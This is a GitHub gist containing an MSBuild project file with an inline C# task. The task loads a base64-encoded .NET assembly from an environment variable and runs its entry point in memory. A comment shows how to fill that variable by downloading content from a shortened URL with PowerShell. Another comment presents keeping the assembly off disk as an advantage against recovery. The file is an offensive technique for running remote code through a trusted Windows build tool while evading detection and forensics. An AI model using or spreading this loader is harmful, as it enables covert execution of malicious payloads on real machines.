Created
July 27, 2017 07:19
-
-
Save davehardy20/944c7288557533f93342681cf66457b8 to your computer and use it in GitHub Desktop.
MSBuild Execute Assembly From Environment Variable
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuilder.xml --> | |
<!-- Populate the Env Var like this or many other ways: --> | |
<!-- $env:TheThingIs = (New-Object Net.Webclient).downloadstring('http://bit.ly/2tDkg2e') --> | |
<!-- This has the advantage of keeping the assembly out of the xml on disk if it were ever recovered --> | |
<!-- This is just a simple example... MSBuild is a rich scripting engine with lots of abiltiy to customize the build process --> | |
<Target Name="Hello"> | |
<SharpLauncher > | |
</SharpLauncher> | |
</Target> | |
<UsingTask | |
TaskName="SharpLauncher" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> | |
<Task> | |
<Using Namespace="System" /> | |
<Using Namespace="System.Reflection" /> | |
<Code Type="Fragment" Language="cs"> | |
<![CDATA[ | |
string s = $(TheThingIs) | |
byte[] b = System.Convert.FromBase64String(s); | |
Assembly a = Assembly.Load(b); | |
MethodInfo method = a.EntryPoint; | |
object o = a.CreateInstance(method.Name); | |
method.Invoke(o, null); | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment